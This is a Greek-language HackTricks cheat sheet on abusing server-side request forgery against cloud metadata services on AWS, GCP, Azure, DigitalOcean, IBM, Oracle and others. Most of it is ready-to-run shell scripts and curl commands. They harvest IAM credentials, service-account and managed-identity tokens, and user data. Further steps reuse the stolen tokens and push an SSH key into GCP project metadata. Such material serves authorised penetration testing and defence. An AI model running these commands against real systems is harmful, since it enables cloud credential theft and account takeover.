Cloud SSRF
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
AWS
Abusing SSRF in AWS EC2 environment
Το metadata endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε EC2 machine και προσφέρει ενδιαφέρουσες πληροφορίες για αυτήν. Είναι προσβάσιμο στο url: http://169.254.169.254 (information about the metadata here).
Υπάρχουν 2 versions του metadata endpoint. Η πρώτη επιτρέπει να access το endpoint μέσω GET requests (οπότε οποιοδήποτε SSRF can exploit it). Για την version 2, IMDSv2, χρειάζεται να ζητήσεις ένα token στέλνοντας ένα PUT request με ένα HTTP header και μετά να χρησιμοποιήσεις αυτό το token για να προσπελάσεις το metadata με ένα άλλο HTTP header (οπότε είναι more complicated to abuse με ένα SSRF).
Caution
Σημείωσε ότι αν το EC2 instance επιβάλλει IMDSv2, according to the docs, η response of the PUT request θα έχει hop limit of 1, καθιστώντας αδύνατη την πρόσβαση στο EC2 metadata από ένα container μέσα στο EC2 instance.
Επιπλέον, το IMDSv2 θα block requests to fetch a token that include the
X-Forwarded-Forheader. Αυτό γίνεται για να αποτρέψει misconfigured reverse proxies από το να έχουν πρόσβαση σε αυτό.
Μπορείς να βρεις πληροφορίες για τα metadata endpoints in the docs. Στο ακόλουθο script λαμβάνονται από αυτό κάποιες ενδιαφέρουσες πληροφορίες:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Ως ένα παράδειγμα δημόσια διαθέσιμων IAM credentials που έχουν εκτεθεί, μπορείτε να επισκεφθείτε: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Μπορείτε επίσης να ελέγξετε δημόσια EC2 security credentials στο: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Στη συνέχεια μπορείτε να πάρετε αυτά τα credentials και να τα χρησιμοποιήσετε με το AWS CLI. Αυτό θα σας επιτρέψει να κάνετε οτιδήποτε επιτρέπουν τα permissions αυτού του role.
Για να αξιοποιήσετε τα νέα credentials, θα χρειαστεί να δημιουργήσετε ένα νέο AWS profile όπως αυτό:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Παρατηρήστε το aws_session_token, αυτό είναι απαραίτητο για να λειτουργήσει το profile.
Το PACU μπορεί να χρησιμοποιηθεί με τα ανακαλυφθέντα credentials για να βρείτε τα privileges σας και να προσπαθήσετε να κάνετε privilege escalation
SSRF in AWS ECS (Container Service) credentials
Το ECS είναι μια λογική ομάδα από EC2 instances στα οποία μπορείτε να τρέξετε μια εφαρμογή χωρίς να χρειάζεται να κάνετε scale το δικό σας cluster management infrastructure, επειδή το ECS το διαχειρίζεται για εσάς. Αν καταφέρετε να compromise ένα service που τρέχει σε ECS, τα metadata endpoints change.
Αν αποκτήσετε πρόσβαση στο http://169.254.170.2/v2/credentials/<GUID> θα βρείτε τα credentials του ECS machine. Αλλά πρώτα πρέπει να βρείτε το <GUID>. Για να βρείτε το <GUID> χρειάζεται να διαβάσετε τη μεταβλητή environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI μέσα στο machine.
Θα μπορούσατε να το διαβάσετε εκμεταλλευόμενοι ένα Path Traversal προς file:///proc/self/environ
Η συγκεκριμένη http διεύθυνση θα πρέπει να σας δώσει το AccessKey, SecretKey and token.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
Σημείωσε ότι σε ορισμένες περιπτώσεις θα μπορείς να έχεις πρόσβαση στο EC2 metadata instance από το container (έλεγξε τους IMDSv2 TTL περιορισμούς που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το container θα μπορούσες να έχεις πρόσβαση τόσο στο container IAM role όσο και στο EC2 IAM role.
SSRF in AWS EKS Pod Identity credentials
Πρόσφατα EKS clusters μπορούν να χρησιμοποιούν Pod Identity αντί για το παλαιότερο ECS-style relative URI flow. Σε αυτά τα pods, το EKS injects:
AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentialsAWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
Επομένως, ένα SSRF/LFI που μπορεί να διαβάσει env vars ή το projected service account token file συχνά μπορεί να ανακτήσει τα pod IAM credentials κάνοντας query στο local credential endpoint με το authorization token από αυτό το αρχείο:
# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
Αυτό είναι ιδιαίτερα χρήσιμο σε EKS webhooks, templating services, ή URL fetchers που εκτελούνται μέσα σε pods και εκθέτουν ένα SSRF μαζί με ένα local file read primitive. Η απόκριση περιέχει προσωρινά AWS credentials που μπορούν να επαναχρησιμοποιηθούν από το AWS CLI ή tooling όπως το Pacu.
SSRF για AWS Lambda
Σε αυτή την περίπτωση τα credentials αποθηκεύονται σε env variables. Άρα, για να τα προσπελάσεις πρέπει να έχεις πρόσβαση σε κάτι σαν file:///proc/self/environ.
Το όνομα των ενδιαφερόντων env variables είναι:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID
Επιπλέον, πέρα από IAM credentials, οι Lambda functions έχουν επίσης event data που περνά στη function όταν ξεκινά. Αυτά τα δεδομένα είναι διαθέσιμα στη function μέσω του runtime interface και μπορεί να περιέχουν sensitive information (όπως μέσα στα stageVariables). Σε αντίθεση με τα IAM credentials, αυτά τα δεδομένα είναι προσβάσιμα μέσω standard SSRF στο http://localhost:9001/2018-06-01/runtime/invocation/next.
Warning
Σημείωσε ότι τα lambda credentials βρίσκονται μέσα στις env variables. Άρα αν το stack trace του lambda code εκτυπώνει env vars, είναι δυνατό να τα exfiltrate προκαλώντας ένα error στην app.
SSRF URL για AWS Elastic Beanstalk
Ανακτούμε το accountId και το region από το API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Στη συνέχεια ανακτούμε τα AccessKeyId, SecretAccessKey και Token από το API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Στη συνέχεια χρησιμοποιούμε τα credentials με aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.
GCP
Μπορείς να βρεις εδώ τα docs σχετικά με metadata endpoints.
SSRF URL for Google Cloud
Απαιτεί το HTTP header Metadata-Flavor: Google και μπορείς να αποκτήσεις πρόσβαση στο metadata endpoint με τα ακόλουθα URLs:
Ενδιαφέροντα endpoints για εξαγωγή πληροφοριών:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta ΔΕΝ απαιτεί header προς το παρόν (ευχαριστώ Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
Για να χρησιμοποιήσετε το exfiltrated service account token μπορείτε απλώς να κάνετε:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
Add an SSH key
Extract the token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Ελέγξτε το scope του token (με το προηγούμενο output ή εκτελώντας το ακόλουθο)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Τώρα κάνε push το SSH key.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
Το metadata endpoint λειτουργεί με τον ίδιο τρόπο όπως στα VMs αλλά χωρίς κάποια endpoints:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Cloud Run / Cloud Functions 2nd gen
Για το Cloud Run και τις Cloud Functions 2nd generation είναι συνήθως πιο ενδιαφέρον να κλέψεις όχι μόνο το OAuth access token, αλλά και ένα audience-bound identity token από το metadata server. Αυτό είναι χρήσιμο όταν το compromised workload μπορεί να φτάσει σε private Cloud Run services, IAP-protected backends, ή σε οποιαδήποτε service που επικυρώνει Google-issued ID tokens.
# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
Tip
Το endpoint
identityαπαιτεί μια παράμετροaudience. Σε πραγματικές engagements αυτό συνήθως σημαίνει ότι, αφού αποδείξεις SSRF απέναντι στοtoken, θα πρέπει να κάνεις enumerate τα internal service URLs και μετά να ζητήσεις ένα δεύτερο token με το ακριβές audience που αναμένει το target service.
Digital Ocean
Warning
Δεν υπάρχουν πράγματα όπως AWS Roles ή GCP service account, οπότε μην περιμένεις να βρεις metadata bot credentials
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Must contain the header
Metadata: true - Must not contain an
X-Forwarded-Forheader
Tip
Ένα Azure VM μπορεί να έχει συνημμένο 1 system managed identity και αρκετά user managed identities. Αυτό πρακτικά σημαίνει ότι μπορείς να impersonate όλα τα managed identities που είναι attached σε ένα VM.
Όταν ζητάς ένα access token από το metadata endpoint, by default το metadata service θα χρησιμοποιήσει το system assigned managed identity για να δημιουργήσει το token, αν υπάρχει κάποιο system assigned managed identity. Σε περίπτωση που υπάρχει μόνο ONE user assigned managed identity, τότε αυτό θα χρησιμοποιηθεί by default. Ωστόσο, σε περίπτωση που δεν υπάρχει system assigned managed identity και υπάρχουν multiple user assigned managed identities, τότε το metadata service θα επιστρέψει ένα error που θα δείχνει ότι υπάρχουν multiple managed identities και ότι είναι απαραίτητο να specify ποιο από αυτά θα χρησιμοποιηθεί.
Δυστυχώς δεν μπόρεσα να βρω κανένα metadata endpoint που να υποδεικνύει όλα τα MIs που έχει attached ένα VM, οπότε το να βρεις όλα τα assigned managed identities σε ένα VM μπορεί να είναι δύσκολη task από Red Team perspective.
Therefore, για να βρεις όλα τα attached MIs μπορείς να κάνεις:
- Get attached identities with az cli (αν έχεις ήδη compromise ένα principal στο Azure tenant με το permission
Microsoft.Compute/virtualMachines/read)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- Get attached identities χρησιμοποιώντας το default attached MI στο metadata:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- Get all the defined managed identities in the tenant and brute force to see if any of them is attached to the VM (the permission
Microsoft.ManagedIdentity/userAssignedIdentities/readis needed):az identity list
Caution
Στα token requests χρησιμοποίησε οποιαδήποτε από τις παραμέτρους
object_id,client_idήmsi_res_idγια να υποδείξεις το managed identity που θέλεις να χρησιμοποιήσεις (docs). Αν δεν ορίσεις καμία, το default MI will be used.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
Σημείωσε ότι το endpoint
http://169.254.169.254/metadata/v1/instanceinfodoesn’t require theMetadata: Trueheader κάτι που είναι εξαιρετικό για να δείξεις impact σε SSRF vulnerabilities στο Azure όπου δεν μπορείς να προσθέσεις αυτό το header.
Azure App & Functions Services & Automation Accounts
Από το env μπορείς να πάρεις τις τιμές των IDENTITY_HEADER και IDENTITY_ENDPOINT. Αυτά μπορείς να τα χρησιμοποιήσεις για να συγκεντρώσεις ένα token ώστε να επικοινωνήσεις με τον metadata server.
Τις περισσότερες φορές, θέλεις ένα token για έναν από αυτούς τους resources:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
Caution
Στα token requests χρησιμοποίησε οποιαδήποτε από τις παραμέτρους
object_id,client_idήmsi_res_idγια να δηλώσεις το managed identity που θέλεις να χρησιμοποιήσεις (docs). Αν δεν υπάρχει καμία, θα χρησιμοποιηθεί το default MI.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
Σημείωσε ότι στο IBM από προεπιλογή τα metadata δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορέσεις να τα προσπελάσεις ακόμα κι αν βρίσκεσαι μέσα σε ένα IBM cloud VM
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Η τεκμηρίωση για τα metadata services διαφόρων platforms παρατίθεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορούν να γίνει access σε configuration και runtime information για instances. Κάθε platform προσφέρει μοναδικά endpoints για access στα metadata services της.
Packetcloud
Για access στα metadata του Packetcloud, η τεκμηρίωση βρίσκεται εδώ: https://metadata.packet.net/userdata
OpenStack/RackSpace
Δεν αναφέρεται η ανάγκη για header. Τα metadata μπορούν να γίνουν access μέσω:
http://169.254.169.254/openstack
HP Helion
Δεν αναφέρεται επίσης εδώ η ανάγκη για header. Τα metadata είναι accessible στο:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Το Oracle Cloud Infrastructure έχει λειτουργία IMDSv2 που είναι πολύ πιο σχετική σήμερα από τα legacy /latest/ examples. Στο IMDSv2:
- Τα requests πηγαίνουν στο
http://169.254.169.254/opc/v2/ - Τα requests πρέπει να περιλαμβάνουν το header
Authorization: Bearer Oracle - Τα requests που φέρουν
Forwarded,X-Forwarded-For, ήX-Forwarded-Hostαπορρίπτονται - Αν το instance έχει ρυθμιστεί ώστε να επιτρέπει μόνο IMDSv2, τα παλιά
/opc/v1και/openstackpaths επιστρέφουν404
Interesting endpoints:
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/
curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/
Άρα, από την οπτική του SSRF, το OCI τώρα συμπεριφέρεται πολύ πιο κοντά στα hardened cloud metadata services που απαιτούν ένα mandatory header και απορρίπτουν ρητά κοινά forwarded-header proxy patterns.
Alibaba
Η Alibaba προσφέρει endpoints για πρόσβαση σε metadata, συμπεριλαμβανομένων instance και image IDs:
